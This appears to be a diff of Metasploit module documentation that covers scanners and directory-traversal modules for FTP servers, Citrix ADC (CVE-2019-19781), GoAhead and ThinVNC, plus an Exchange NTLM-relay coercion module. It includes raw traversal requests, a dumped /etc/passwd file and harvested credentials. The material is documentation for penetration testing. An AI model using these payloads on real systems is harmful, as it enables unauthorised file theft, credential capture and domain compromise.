This module can be used to discover DNS servers which expose recursive name lookups which can be used in an amplification attack against a third party.
|
||||
|
||||
BIND 9.4.1-P1: [source](ftp://ftp.isc.org/isc/bind9/9.4.1-P1/bind-9.4.1-P1.tar.gz)
|
||||
Ubuntu 7.10: [Gutsy Gibbon](http://old-releases.ubuntu.com/releases/7.10/)
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use modules/auxiliary/scanner/dns/dns_amp`
|
||||
3. Do: `set DOMAINNAME [domain]`
|
||||
4. Do: `set RHOST [ip]`
|
||||
5. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### A run on Ubuntu 7.10 (Gutsy Gibbon) and BIND 9.4.1-P1
|
||||
|
||||
```
|
||||
msf > use modules/auxiliary/scanner/dns/dns_amp
|
||||
msf auxiliary(scanner/dns/dns_amp) > set DOMAINNAME domain.com
|
||||
DOMAINNAME => domain.com
|
||||
msf auxiliary(scanner/dns/dns_amp) > set RHOSTS 192.168.10.254
|
||||
RHOSTS => 192.168.10.254
|
||||
msf auxiliary(scanner/dns/dns_amp) > run
|
||||
[*] Sending DNS probes to 192.168.10.254->192.168.10.254 (1 hosts)
|
||||
[*] Sending 70 bytes to each host using the IN ANY domain.com request
|
||||
[+] 192.168.10.254:53 - Response is 374 bytes [5.34x Amplification]
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,29 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a directory traversal vulnerability found in Konica Minolta FTP Utility 1.0.
|
||||
This vulnerability allows an attacker to download arbitrary files from the server by crafting a `RETR` command that includes file system traversal strings such as `..//`.
|
||||
|
||||
Link to Konica Minolta FTP Utility 1.00 software download [Exploit-DB](https://www.exploit-db.com/apps/6388a2ae7dd2965225b3c8fad62f2b3b-ftpu_10.zip)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use modules/auxiliary/scanner/ftp/konica_ftp_traversal`
|
||||
3. Do: `set RHOSTS [ip]`
|
||||
4. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Konica Minolta FTP Utility 1.00 on Windows 7 (X64)
|
||||
|
||||
```
|
||||
msf > use modules/auxiliary/scanner/ftp/konica_ftp_traversal
|
||||
msf auxiliary(scanner/ftp/konica_ftp_traversal) > set RHOSTS 1.1.1.1
|
||||
RHOSTS => 1.1.1.1
|
||||
set PATH ../../WINDOWS/win.ini
|
||||
PATH => ../../WINDOWS/win.ini
|
||||
msf auxiliary(scanner/ftp/konica_ftp_traversal) > run
|
||||
[+] 1.1.1.1:21 - Stored ../../WINDOWS/win.ini to /root/.msf4/loot/20191122042114_default_1.1.1.1_konica.ftp.data_003802.ini
|
||||
[*] 1.1.1.1:21 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,52 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a directory traversal vulnerability found in PCMan FTP Server 2.0.7.
|
||||
This vulnerability allows an attacker to download arbitrary files from the server by crafting a `RETR` command that includes file system traversal strings such as `..//`
|
||||
|
||||
Linked to software download [Exploit-DB](https://www.exploit-db.com/apps/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use modules/auxiliary/scanner/ftp/pcman_ftp_traversal`
|
||||
3. Do: `set RHOSTS [ip]`
|
||||
4. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### PCMan FTP Server 2.0.7 on Windows 7 (X64)
|
||||
|
||||
```
|
||||
msf > use modules/auxiliary/scanner/ftp/pcman_ftp_traversal
|
||||
msf auxiliary(scanner/ftp/pcman_ftp_traversal) > show options
|
||||
msf auxiliary(scanner/ftp/pcman_ftp_traversal) > set RHOST 1.1.1.1
|
||||
rhost => 1.1.1.1
|
||||
msf auxiliary(scanner/ftp/pcman_ftp_traversal) > set PATH WINDOWS\\win.ini
|
||||
PATH => WINDOWS\win.ini
|
||||
msf auxiliary(scanner/ftp/pcman_ftp_traversal) > run
|
||||
[+] 192.168.2.252:21 - Stored WINDOWS\win.ini to /root/.msf4/loot/20191120201523_default_1.1.1.1_pcman.ftp.data_069450.ini
|
||||
[*] 192.168.2.252:21 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Manual Exploitation
|
||||
|
||||
```
|
||||
2019/11/20 [12:46] (00588) 1.1.1.2> User connecting from 1.1.1.2
|
||||
|
||||
2019/11/20 [12:46] (00588) 1.1.1.2> USER anonymous
|
||||
2019/11/20 [12:46] (00588) Anonymous> 331 User name okay, need password.
|
||||
|
||||
2019/11/20 [12:46] (00588) Anonymous> PASS *****
|
||||
2019/11/20 [12:46] (00588) Anonymous> 230 User logged in
|
||||
|
||||
2019/11/20 [12:46] (00588) Anonymous> PASV
|
||||
2019/11/20 [12:46] (00588) Anonymous> 227 Entering Passive Mode (1.1.1.1,8,1)
|
||||
|
||||
2019/11/20 [12:46] (00588) Anonymous> RETR ..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//WINDOWS\win.ini
|
||||
2019/11/20 [12:46] (00588) Anonymous> 150 File status okay; Open data connection.
|
||||
|
||||
2019/11/20 [12:46] (00588) Anonymous> 226 Data Sent okay.
|
||||
|
||||
2019/11/20 [12:46] (00588) Anonymous> User Disconnected.
|
||||
```
|
||||
@@ -1,4 +1,4 @@
|
||||
## Intro
|
||||
## Introduction
|
||||
|
||||
This module scans for h.323 servers and determines the version and information about the server.
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
## Intro
|
||||
## Introduction
|
||||
|
||||
This module scans a web server for a file name with various backup type extensions.
|
||||
The list of extensions are:
|
||||
@@ -42,4 +42,4 @@ msf5 auxiliary(scanner/http/backup_file) > run
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
```
|
||||
```
|
||||
|
||||
@@ -0,0 +1,57 @@
|
||||
## Introduction
|
||||
|
||||
An issue was discovered in Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. The vulnerability, tracked as CVE-2019-19781, allows for directory traversal. If exploited, it could allow an unauthenticated attacker to perform arbitrary code execution.
|
||||
|
||||
Because vulnerable servers allow for directory traversal, they will accept the request `GET /vpn/../vpns/` and process it as a request for `GET /vpns/`, a directory that contains PERL scripts that can be targeted to allow for limited file writing on the vulnerable host.
|
||||
|
||||
This module checks if a target server is vulnerable by issuing an HTTP GET request for `/vpn/../vpns/cfg/smb.conf`and then checking the response for `[global]` since this configuration file should contain global variables. If `[global]` is found, the server is vulnerable to CVE-2019-19781.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the module as usual
|
||||
2. Start msfconsole
|
||||
3. Do: `use auxiliary/scanner/http/citrix_dir_traversal`
|
||||
4. Do: `set RHOSTS [IP]`
|
||||
5. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
1. `Proxies`. This option is not set by default.
|
||||
2. `RPORT`. The default setting is `80`. To use: `set RPORT [PORT]`
|
||||
3. `SSL`. The default setting is `false`.
|
||||
4. `THREADS`. The default setting is `1`.
|
||||
5. `VHOST`. This option is not set by default.
|
||||
6. `TARGETURI`. This option is the base path. `/` by default.
|
||||
7. `PATH`. This option is the traversal path. `/vpn/../vpns/cfg/smb.conf` by default.
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/http/citrix_dir_traversal) > options
|
||||
|
||||
Module options (auxiliary/scanner/http/citrix_dir_traversal):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
PATH /vpn/../vpns/cfg/smb.conf yes Traversal path
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 127.0.0.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
||||
RPORT 8080 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes Base path
|
||||
THREADS 1 yes The number of concurrent threads (max one per host)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
msf5 auxiliary(scanner/http/citrix_dir_traversal) > run
|
||||
|
||||
[+] http://127.0.0.1:8080/vpn/../vpns/cfg/smb.conf - The target is vulnerable to CVE-2019-19781.
|
||||
[+] Obtained HTTP response code 200 for http://127.0.0.1:8080/vpn/../vpns/cfg/smb.conf. This means that access to /vpn/../vpns/cfg/smb.conf was obtained via directory traversal.
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/http/citrix_dir_traversal) >
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
1. <https://nvd.nist.gov/vuln/detail/CVE-2019-19781>
|
||||
2. <https://support.citrix.com/article/CTX267027>
|
||||
@@ -1,4 +1,4 @@
|
||||
## Intro
|
||||
## Introduction
|
||||
|
||||
This module scans for Docker servers listening on a TCP port (default 2375).
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
## Intro
|
||||
## Introduction
|
||||
|
||||
This module pulls and parses the URLs stored by Archive.org for the purpose of replaying
|
||||
during a web assessment. Finding unlinked and old pages. This module utilizes
|
||||
@@ -28,4 +28,4 @@ http://rapid7.com/WebResources/images/GlobalNavigation/NeXpose_u.gif
|
||||
http://rapid7.com/WebResources/images/GlobalNavigation/Support_d.gif
|
||||
http://rapid7.com/WebResources/images/GlobalNavigation/Support_u.gif
|
||||
...snip...
|
||||
```
|
||||
```
|
||||
|
||||
@@ -0,0 +1,37 @@
|
||||
## Vulnerable Application
|
||||
|
||||
* Microsoft Exchange 2013 and 2016
|
||||
* Tested on Exchange 2016
|
||||
* Usage:
|
||||
* Download and install Exchange Server within a Windows domain
|
||||
* Setup a mailbox with a domain user
|
||||
* Run the module
|
||||
* Relay the NTLM authentication to the DC
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps:
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use auxiliary/scanner/http/exchange_web_server_pushsubscription```
|
||||
3. Do: ```set attacker_url <url>```
|
||||
4. Do: ```set rport <target_port>```
|
||||
5. Do: ```set rhost <target_IP>```
|
||||
6. Do: ```set domain <domain_name>```
|
||||
7. Do: ```set password <user_pass>```
|
||||
8. Do: ```set username <user_pass>```
|
||||
9. Do: ```run```
|
||||
|
||||
## Options
|
||||
|
||||
**The ATTACKER_URL option**
|
||||
|
||||
This option should contain a URL under the attacker's control. This is where the Exchange will try to authenticate.
|
||||
|
||||
**The PASSWORD option**
|
||||
This can be either the password or the NTLM hash of any domain user with a mailbox configured on Exchange.
|
||||
|
||||
## Scenarios
|
||||
|
||||
This module can be used to make a request to the Exchange server and force it to authenticate to a URL under our control.
|
||||
An example scenario is that when this module is combined with an NTLM relay attack, if the Exchange server has the necessary permissions it is possible to grant us DCSync rights.
|
||||
@@ -0,0 +1,67 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module looks for a `.git` folder on a web server, and attempts to read the `config` and `index` files to gather information about the repo.
|
||||
|
||||
### Environment
|
||||
|
||||
On Kali, we can clone metasploit into the apache folder to create a vulnerable environment.
|
||||
|
||||
```
|
||||
root@kali:~# cd /var/www/html/
|
||||
root@kali:/var/www/html# git clone https://github.com/rapid7/metasploit-framework.git
|
||||
Cloning into 'metasploit-framework'...
|
||||
remote: Enumerating objects: 49, done.
|
||||
remote: Counting objects: 100% (49/49), done.
|
||||
remote: Compressing objects: 100% (41/41), done.
|
||||
remote: Total 509870 (delta 18), reused 20 (delta 8), pack-reused 509821
|
||||
Receiving objects: 100% (509870/509870), 415.71 MiB | 8.61 MiB/s, done.
|
||||
Resolving deltas: 100% (372897/372897), done.
|
||||
Updating files: 100% (10064/10064), done.
|
||||
root@kali:/var/www/html# service apache2 start
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install a git repo in a web server
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/scanner/http/git_scanner```
|
||||
4. Do: ```set rhosts [ip]```
|
||||
5. Do: ```run```
|
||||
6. You should get information about the git repo
|
||||
|
||||
## Options
|
||||
|
||||
**GIT_CONFIG**
|
||||
|
||||
Attempts to locate the `config` file, which may contain useful information. Default is `true`.
|
||||
|
||||
**GIT_INDEX**
|
||||
|
||||
Attempts to locate the `index` file, which identifies the git version and number of files. Default is `true`.
|
||||
|
||||
**TARGETURI**
|
||||
|
||||
Where the `.git` folder is located. Default is `/.git/`
|
||||
|
||||
**UserAgent**
|
||||
|
||||
The user agent to emulate. Default is `git/1.7.9.5`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Metasploit git on Kali
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/git_scanner
|
||||
msf5 auxiliary(scanner/http/git_scanner) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf5 auxiliary(scanner/http/git_scanner) > set TARGETURI /metasploit-framework/.git/
|
||||
TARGETURI => /metasploit-framework/.git/
|
||||
msf5 auxiliary(scanner/http/git_scanner) > run
|
||||
|
||||
[+] http://127.0.0.1/metasploit-framework/.git/ - git repo (version 2) found with 10064 files
|
||||
[+] http://127.0.0.1/metasploit-framework/.git/config - git config file found
|
||||
[+] Saved file to: /root/.msf4/loot/20191007202314_default_127.0.0.1_config_236738.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,154 @@
|
||||
## Vulnerable Application
|
||||
|
||||
GoAhead web server by EmbedThis versions from 3.0.0 through 3.4.1 contains a directory traversal vulnerability.
|
||||
To exploit this vulnerability, each `../` must be matched with a `.x/`, with each being grouped together.
|
||||
For instance a depth of 2 will look as follows: `../../.x/.x/foobar`.
|
||||
|
||||
An excellent writeup is available on [PacketStorm](https://packetstormsecurity.com/files/131156/GoAhead-3.4.1-Heap-Overflow-Traversal.html).
|
||||
|
||||
### Install on Kali
|
||||
|
||||
Since `goahead` is available on Git, we can simply download the vulnerable version, compile, and run it.
|
||||
|
||||
```
|
||||
root@kali:/tmp# wget https://github.com/embedthis/goahead/archive/v3.4.1.tar.gz
|
||||
--2019-10-07 20:42:28-- https://github.com/embedthis/goahead/archive/v3.4.1.tar.gz
|
||||
Resolving github.com (github.com)... 192.30.253.113
|
||||
Connecting to github.com (github.com)|192.30.253.113|:443... connected.
|
||||
HTTP request sent, awaiting response... 302 Found
|
||||
Location: https://codeload.github.com/embedthis/goahead/tar.gz/v3.4.1 [following]
|
||||
--2019-10-07 20:42:29-- https://codeload.github.com/embedthis/goahead/tar.gz/v3.4.1
|
||||
Resolving codeload.github.com (codeload.github.com)... 192.30.253.120
|
||||
Connecting to codeload.github.com (codeload.github.com)|192.30.253.120|:443... connected.
|
||||
HTTP request sent, awaiting response... 200 OK
|
||||
Length: unspecified [application/x-gzip]
|
||||
Saving to: ‘v3.4.1.tar.gz’
|
||||
|
||||
v3.4.1.tar.gz [ <=> ] 5.95M 6.35MB/s in 0.9s
|
||||
|
||||
2019-10-07 20:42:30 (6.35 MB/s) - ‘v3.4.1.tar.gz’ saved [6234594]
|
||||
|
||||
root@kali:/tmp# tar -zxf v3.4.1.tar.gz
|
||||
root@kali:/tmp# cd goahead-3.4.1/
|
||||
root@kali:/tmp/goahead-3.4.1# make
|
||||
make --no-print-directory -f projects/goahead-linux-default.mk all
|
||||
[Info] Use make SHOW=1 to trace executed commands.
|
||||
[Copy] build/linux-x64-default/bin/ca.crt
|
||||
[Copy] build/linux-x64-default/inc/osdep.h
|
||||
[Copy] build/linux-x64-default/inc/est.h
|
||||
[Compile] build/linux-x64-default/obj/estLib.o
|
||||
[Link] build/linux-x64-default/bin/libest.so
|
||||
[Copy] build/linux-x64-default/inc/goahead.h
|
||||
[Copy] build/linux-x64-default/inc/js.h
|
||||
[Compile] build/linux-x64-default/obj/action.o
|
||||
[Compile] build/linux-x64-default/obj/alloc.o
|
||||
[Compile] build/linux-x64-default/obj/auth.o
|
||||
[Compile] build/linux-x64-default/obj/cgi.o
|
||||
[Compile] build/linux-x64-default/obj/crypt.o
|
||||
[Compile] build/linux-x64-default/obj/file.o
|
||||
[Compile] build/linux-x64-default/obj/fs.o
|
||||
[Compile] build/linux-x64-default/obj/http.o
|
||||
[Compile] build/linux-x64-default/obj/js.o
|
||||
[Compile] build/linux-x64-default/obj/jst.o
|
||||
[Compile] build/linux-x64-default/obj/options.o
|
||||
[Compile] build/linux-x64-default/obj/osdep.o
|
||||
[Compile] build/linux-x64-default/obj/rom-documents.o
|
||||
[Compile] build/linux-x64-default/obj/route.o
|
||||
[Compile] build/linux-x64-default/obj/runtime.o
|
||||
[Compile] build/linux-x64-default/obj/socket.o
|
||||
[Compile] build/linux-x64-default/obj/upload.o
|
||||
[Compile] build/linux-x64-default/obj/est.o
|
||||
[Compile] build/linux-x64-default/obj/matrixssl.o
|
||||
[Compile] build/linux-x64-default/obj/nanossl.o
|
||||
[Compile] build/linux-x64-default/obj/openssl.o
|
||||
[Link] build/linux-x64-default/bin/libgo.so
|
||||
[Compile] build/linux-x64-default/obj/goahead.o
|
||||
[Link] build/linux-x64-default/bin/goahead
|
||||
[Compile] build/linux-x64-default/obj/test.o
|
||||
[Link] build/linux-x64-default/bin/goahead-test
|
||||
[Compile] build/linux-x64-default/obj/gopass.o
|
||||
[Link] build/linux-x64-default/bin/gopass
|
||||
|
||||
You can now install via "sudo make install" or run GoAhead via: "sudo make run"
|
||||
To run locally, put linux-x64-default/bin in your path
|
||||
|
||||
root@kali:/tmp/goahead-3.4.1# build/linux-x64-default/bin/goahead --verbose --home test /var/www/html/
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/scanner/http/goahead_traversal```
|
||||
4. Do: ```set rhosts [ip]```
|
||||
5. Do: ```set depth [number]```
|
||||
6. Do: ```run```
|
||||
7. You should get the file contents.
|
||||
|
||||
## Options
|
||||
|
||||
**DEPTH**
|
||||
|
||||
The depth to traverse from the webroot. This does not need to be exact, overshooting (using a number larger than needed)
|
||||
will still result in the file being obtained. Default is `5`
|
||||
|
||||
**FILEPATH**
|
||||
|
||||
The path to the file to read. Default is `/etc/passwd`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### GoAhead 3.4.1 on Kali
|
||||
|
||||
Install from the instructions at the top of this document.
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/goahead_traversal
|
||||
msf5 auxiliary(scanner/http/goahead_traversal) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf5 auxiliary(scanner/http/goahead_traversal) > set depth 5
|
||||
depth => 5
|
||||
msf5 auxiliary(scanner/http/goahead_traversal) > run
|
||||
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||
sync:x:4:65534:sync:/bin:/bin/sync
|
||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||
|
||||
[+] File saved in: /root/.msf4/loot/20191007213309_default_127.0.0.1_goahead.traversa_324804.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
#### Server Logs
|
||||
|
||||
When setting the server to verbose output, the following is shown during exploitation:
|
||||
|
||||
```
|
||||
# build/linux-x64-default/bin/goahead --verbose --home test /var/www/html/
|
||||
goahead: 2: Configuration for Embedthis GoAhead
|
||||
goahead: 2: ---------------------------------------------
|
||||
goahead: 2: Version: 3.4.1
|
||||
goahead: 2: BuildType: Debug
|
||||
goahead: 2: CPU: x64
|
||||
goahead: 2: OS: linux
|
||||
goahead: 2: Host: 127.0.1.1
|
||||
goahead: 2: Directory: /var/www/html/goahead-3.4.1/test
|
||||
goahead: 2: Documents: /var/www/html/
|
||||
goahead: 2: Configure: me -d -q -platform linux-x86-default -configure . -with est -gen make
|
||||
goahead: 2: ---------------------------------------------
|
||||
goahead: 2: Started http://*:80
|
||||
goahead: 2: Started https://*:443
|
||||
goahead: 2: GET ../../../../../.x/.x/.x/.x/.x/etc/passwd HTTP/1.1
|
||||
```
|
||||
@@ -22,7 +22,7 @@ Module options (auxiliary/scanner/http/http_header):
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
HTTP_METHOD HEAD yes HTTP Method to use, HEAD or GET (Accepted: GET, HEAD)
|
||||
IGN_HEADER Vary,Date,Content-Length,Connection,Etag,Expires,Pragma,Accept-Ranges yes List of headers to ignore, seperated by comma
|
||||
IGN_HEADER Vary,Date,Content-Length,Connection,Etag,Expires,Pragma,Accept-Ranges yes List of headers to ignore, separated by comma
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target address range or CIDR identifier
|
||||
RPORT 80 yes The target port (TCP)
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
## Intro
|
||||
## Introduction
|
||||
|
||||
This module scans for Joomla Content Management System running on a web server for the following pages:
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
## Intro
|
||||
## Introduction
|
||||
|
||||
This module scans for Joomla Content Management System running on a web server for components/plugins.
|
||||
The list can be found in [data/wordlists/joomla.txt](https://github.com/rapid7/metasploit-framework/blob/master/data/wordlists/joomla.txt).
|
||||
@@ -140,4 +140,4 @@ Directory listing is enabled : http://192.168.2.39/components/com_users/
|
||||
Location : http://192.168.2.39/components/com_wrapper/
|
||||
Directory listing is enabled : http://192.168.2.39/components/com_wrapper/
|
||||
Installed version : 3.1
|
||||
```
|
||||
```
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
## Intro
|
||||
## Introduction
|
||||
|
||||
This module scans for Joomla Content Management System running on a web server.
|
||||
|
||||
@@ -38,4 +38,4 @@ Processing http://192.168.2.39 ...
|
||||
[+] Detecting Joomla Version
|
||||
[++] Joomla 3.8.2
|
||||
...snip...
|
||||
```
|
||||
```
|
||||
|
||||
@@ -16,7 +16,7 @@ The onion_omega2_login module is used to brute-force credentials for Onion Omage
|
||||
4. Do: `use auxiliary/scanner/http/onion_omega2_login`
|
||||
5. Do: `set RHOSTS 192.168.3.1`
|
||||
6. Do: `set USERPASS_FILE <user pass dictionary>`
|
||||
- username and password seperated by space and one pair per line.
|
||||
- username and password separated by space and one pair per line.
|
||||
7. Do: `run`
|
||||
|
||||
Sample userpass file:
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
## Description
|
||||
|
||||
This module exploits a directory traversal vulnerability in ThinVNC
|
||||
versions 1.0b1 and prior which allows unauthenticated users to retrieve
|
||||
arbitrary files, including the ThinVNC configuration file.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module has been tested successfully on ThinVNC versions 1.0b1
|
||||
and "ThinVNC_Latest" (2018-12-07).
|
||||
|
||||
ThinVNC is available on [Sourceforge](https://sourceforge.net/projects/thinvnc/files/).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `./msfconsole`
|
||||
2. `use auxiliary/scanner/http/thinvnc_traversal`
|
||||
3. `set rhosts <rhost>`
|
||||
4. `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### ThinVNC version 1.0b1 on Windows XP SP3
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/thinvnc_traversal
|
||||
msf5 auxiliary(scanner/http/thinvnc_traversal) > set rhosts 172.16.123.123
|
||||
rhosts => 172.16.123.123
|
||||
msf5 auxiliary(scanner/http/thinvnc_traversal) > run
|
||||
|
||||
[+] File ThinVnc.ini saved in: /root/.msf4/loot/20191017033828_default_172.16.123.123_thinvnc.traversa_713640.txt
|
||||
[+] Found credentials: admin:admin
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
msf5 auxiliary(scanner/http/thinvnc_traversal) >
|
||||
```
|
||||
|
||||
@@ -0,0 +1,111 @@
|
||||
## Description
|
||||
|
||||
Generates a GET request to the provided web servers and returns the server header, HTML title attribute and location header (if set). This is useful for rapidly identifying interesting web applications en mass.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: `use auxiliary/scanner/http/title`
|
||||
2. Do: `set rhosts [ips]`
|
||||
3. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
**SHOW_TITLES**
|
||||
|
||||
If set to `false`, will not show the titles on the console as they are grabbed. Defaults to `true`.
|
||||
|
||||
**STORE_NOTES**
|
||||
|
||||
If set to `false`, will not store the captured information in notes. Use `notes -t http.title` to view. Defaults to `true`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Apache/2.4.38 inside a Docker container
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/title
|
||||
msf5 auxiliary(scanner/http/title) > set RHOSTS 172.17.0.2
|
||||
RHOSTS => 172.17.0.2
|
||||
msf5 auxiliary(scanner/http/title) > run
|
||||
|
||||
[+] [172.17.0.2:80] [C:200] [R:] [S:Apache/2.4.38 (Debian)] LOCAL TESTING
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
## Confirming using Burp Suite Community Edition
|
||||
|
||||
### HTTP GET Request
|
||||
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: 172.17.0.2
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
DNT: 1
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Cache-Control: max-age=0
|
||||
```
|
||||
|
||||
### Server Response
|
||||
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Date: Wed, 16 Oct 2019 17:27:49 GMT
|
||||
Server: Apache/2.4.38 (Debian)
|
||||
X-Powered-By: PHP/7.2.23
|
||||
Content-Length: 68
|
||||
Connection: close
|
||||
Content-Type: text/html; charset=UTF-8
|
||||
|
||||
<html><head><title>LOCAL TESTING</title></head><body></body></html>
|
||||
```
|
||||
|
||||
## Confirming using Nikto
|
||||
|
||||
This will only identify server version and Location header, not HTML title.
|
||||
|
||||
```
|
||||
nikto -host http://172.17.0.2 -Plugin headers
|
||||
|
||||
- Nikto v2.1.6
|
||||
---------------------------------------------------------------------------
|
||||
+ Target IP: 172.17.0.2
|
||||
+ Target Hostname: 172.17.0.2
|
||||
+ Target Port: 80
|
||||
+ Start Time: 2019-10-16 19:30:55 (GMT2)
|
||||
---------------------------------------------------------------------------
|
||||
+ Server: Apache/2.4.38 (Debian)
|
||||
+ Retrieved x-powered-by header: PHP/7.2.23
|
||||
```
|
||||
|
||||
## Confirming using NMAP
|
||||
|
||||
Utilizing the [http-title](https://nmap.org/nsedoc/scripts/http-title.html) NMAP script.
|
||||
|
||||
```
|
||||
# nmap -sV -p80 --script http-title 127.0.0.1
|
||||
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-20 21:11 EDT
|
||||
Nmap scan report for localhost (127.0.0.1)
|
||||
Host is up (0.000049s latency).
|
||||
|
||||
PORT STATE SERVICE VERSION
|
||||
80/tcp open http Apache httpd 2.4.41 ((Debian))
|
||||
|_http-server-header: Apache/2.4.41 (Debian)
|
||||
|_http-title: Apache2 Debian Default Page: It works
|
||||
|
||||
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||||
Nmap done: 1 IP address (1 host up) scanned in 6.42 seconds
|
||||
```
|
||||
|
||||
## Confirming using CURL
|
||||
|
||||
This will use `grep` to filter for just the content between the title tags.
|
||||
|
||||
```
|
||||
# curl -s 127.0.0.1:80 | grep \<title\>
|
||||
<title>Apache2 Debian Default Page: It works</title>
|
||||
```
|
||||
@@ -0,0 +1,101 @@
|
||||
## Description
|
||||
|
||||
Detects Wordpress installations and their version number.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
### Setup using Docksal
|
||||
Install [Docksal](https://docksal.io/)
|
||||
|
||||
Create a new WordPress installation using `fin project create`
|
||||
|
||||
```
|
||||
fin project create
|
||||
1. Name your project (lowercase alphanumeric, underscore, and hyphen): msf-wp
|
||||
|
||||
2. What would you like to install?
|
||||
PHP based
|
||||
1. Drupal 8
|
||||
2. Drupal 8 (Composer Version)
|
||||
3. Drupal 7
|
||||
4. Wordpress
|
||||
5. Magento
|
||||
6. Laravel
|
||||
